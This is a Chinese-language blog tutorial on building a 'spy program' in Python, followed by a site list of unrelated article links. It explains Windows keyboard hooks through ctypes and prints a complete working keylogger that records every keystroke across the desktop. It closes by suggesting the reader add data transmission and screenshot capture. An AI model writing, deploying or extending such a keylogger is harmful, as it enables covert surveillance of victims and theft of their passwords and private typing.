使用Python打造一款间谍程序的流程分析


Posted in Python onFebruary 21, 2020

知识点

这次我们使用python来打造一款间谍程序

程序中会用到许多知识点,大致分为四块

win32API 此处可以在MSDN上查看

Python基础重点在cpytes库的使用,使用方法请点击此处

C语言基础

Hook

程序的基本原理在于通过注册Hook,记录系统事件

那么什么是Hook呢

Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我们导入了user32.dll和kernel32.dll

这两个DLL有什么用处呢

user32.dll

是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息

kernel32.dll

控制着系统的内存管理、数据的输入输出操作和中断处理

流程部分

知道了我们要使用什么样的工具,那么第一步应该怎么做呢

1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子

HHOOK SetWindowsHookExA(
 int idHook,
 HOOKPROC lpfn,
 HINSTANCE hmod,
 DWORD dwThreadId
);

通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看

通过文档我们看到第一个参数idHook中填入钩子的类型

WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件

第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的

第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄

最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联

代码如下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为

WINFUNCTYPE

为Windows下独有的,通过使用使用stdcall调用约定的函数

CFUNCTYPE

 使用标准C调用约定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(
 _In_ int nCode,
 _In_ WPARAM wParam,
 _In_ LPARAM lParam
);

按照官方文档提示如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值

我们转换为Python代码

class KBDLLHOOKSTRUCT(Structure):
 _fields_ = [
 ('vkCode', DWORD),
 ('scanCode', DWORD),
 ('flags', DWORD),
 ('time', DWORD),
 ('dwExtraInfo', DWORD)]

def hookProc(nCode, wParam, lParam):
 if nCode < 0:
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
 else:
 # 此处插入我们的代码
 pass
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除

删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上全部代码

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
class KBDLLHOOKSTRUCT(Structure):
 _fields_ = [
 ('vkCode', DWORD),
 ('scanCode', DWORD),
 ('flags', DWORD),
 ('time', DWORD),
 ('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked):
 if hooked is None:
 return
 user32.UnhookWindowsHookEx(hooked)
 hooked = None
def hookProc(nCode, wParam, lParam):
 if nCode < 0:
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
 else:
 if wParam == 256:
 if 162 == lParam.contents.value:
 print("Ctrl pressed, call Hook uninstall()")
 uninstallHookProc(hooked)
 sys.exit(-1)
 capsLock = user32.GetKeyState(20)
 # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
 if lParam.contents.value==13:
 print("\n")
 elif capsLock:
 print(chr(lParam.contents.value),end="")
 else:
 print(chr(lParam.contents.value+32),end="")
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog():
 msg = MSG()
 user32.GetMessageA(byref(msg), 0, 0, 0)
def installHookProc(hooked, pointer):
 hooked = user32.SetWindowsHookExA(
 13,
 pointer,
 kernel32.GetModuleHandleW(),
 0
 )
 if not hooked:
 return False
 return True
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
 print("Hook installed")
 try:
 msg = MSG()
 user32.GetMessageA(byref(msg), 0, 0, 0)
 except KeyboardInterrupt as kerror:
 uninstallHookProc(hooked)
 print("Hook uninstall...")
else:
 print("Hook installed error")

贴上我们的效果图

使用Python打造一款间谍程序的流程分析

我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^

如何想要了解更多的只是请点击这里把 => 地址

总结

以上就是使用Python打造一款间谍程序的流程分析的详细内容,更多关于python间谍程序请关注三水点靠木其它相关文章!

Python 相关文章推荐
零基础写python爬虫之使用urllib2组件抓取网页内容
Nov 04 Python
Google开源的Python格式化工具YAPF的安装和使用教程
May 31 Python
python 上下文管理器使用方法小结
Oct 10 Python
对numpy中shape的深入理解
Jun 15 Python
Django跨域请求问题的解决方法示例
Jun 16 Python
python实现点对点聊天程序
Jul 28 Python
python交易记录整合交易类详解
Jul 03 Python
Python搭建Spark分布式集群环境
Jul 05 Python
python opencv实现gif图片分解的示例代码
Dec 13 Python
Python嵌套函数,作用域与偏函数用法实例分析
Dec 26 Python
Python 使用office365邮箱的示例
Oct 29 Python
python pyg2plot的原理知识点总结
Feb 28 Python
python实现堆排序的实例讲解
Feb 21 #Python
Python中的sys.stdout.write实现打印刷新功能
Feb 21 #Python
Python控制台输出时刷新当前行内容而不是输出新行的实现
Feb 21 #Python
python编程进阶之异常处理用法实例分析
Feb 21 #Python
python编程进阶之类和对象用法实例分析
Feb 21 #Python
Python面向对象中类(class)的简单理解与用法分析
Feb 21 #Python
Python利用 utf-8-sig 编码格式解决写入 csv 文件乱码问题
Feb 21 #Python
You might like
PHP 使用pcntl和libevent 实现Timer功能
2013/10/27 PHP
php启用sphinx全文搜索的实现方法
2014/12/24 PHP
php比较两个字符串长度的方法
2015/07/13 PHP
ThinkPHP实现的rsa非对称加密类示例
2018/05/29 PHP
thinkphp5 + ajax 使用formdata提交数据(包括文件上传) 后台返回json完整实例
2020/03/02 PHP
纯js实现的论坛常用的运行代码的效果
2008/07/15 Javascript
jQuery弹出层插件简化版代码下载
2008/10/16 Javascript
js截取函数(indexOf,join等)
2010/09/01 Javascript
JS实现图片预加载无需等待
2012/12/21 Javascript
解决angular的post请求后SpringMVC后台接收不到参数值问题的方法
2015/12/10 Javascript
深入理解JavaScript中的浮点数
2016/05/18 Javascript
JS批量替换内容中关键词为超链接
2017/02/20 Javascript
基于Vue实现timepicker
2017/04/25 Javascript
vue使用Axios做ajax请求详解
2017/06/07 Javascript
仿淘宝JSsearch搜索下拉深度用法
2018/01/15 Javascript
vue-router中scrollBehavior的巧妙用法
2018/07/09 Javascript
[03:44]2014DOTA2国际邀请赛 71专访:DK战队赛前讨论视频遭泄露
2014/07/13 DOTA
Python探索之修改Python搜索路径
2017/10/25 Python
python中实现将多个print输出合成一个数组
2018/04/19 Python
ubuntu上安装python的实例方法
2019/09/30 Python
基于Python实现船舶的MMSI的获取(推荐)
2019/10/21 Python
在pytorch中对非叶节点的变量计算梯度实例
2020/01/10 Python
Python unittest 自动识别并执行测试用例方式
2020/03/09 Python
python 通过pip freeze、dowload打离线包及自动安装的过程详解(适用于保密的离线环境
2020/12/14 Python
.NET程序员的几道面试题
2012/06/01 面试题
初中生期末考试的自我评价
2013/12/17 职场文书
幼儿园教师教育感言
2014/02/28 职场文书
省文明单位申报材料
2014/05/08 职场文书
南京青奥会口号
2014/06/12 职场文书
小学生放飞梦想演讲稿
2014/08/26 职场文书
2014年党员加强作风建设思想汇报
2014/09/15 职场文书
小学家长意见怎么写
2015/06/03 职场文书
导游词之杭州西湖
2019/09/19 职场文书
mysql中int(3)和int(10)的数值范围是否相同
2021/10/16 MySQL
Win11 Build 22000.51版本文件资源管理器“命令栏”和上下文菜单有什么新变化?
2021/11/21 数码科技
使用ICOM IC-R9500接收机同时测评十台收音机中波接收性能
2022/05/10 无线电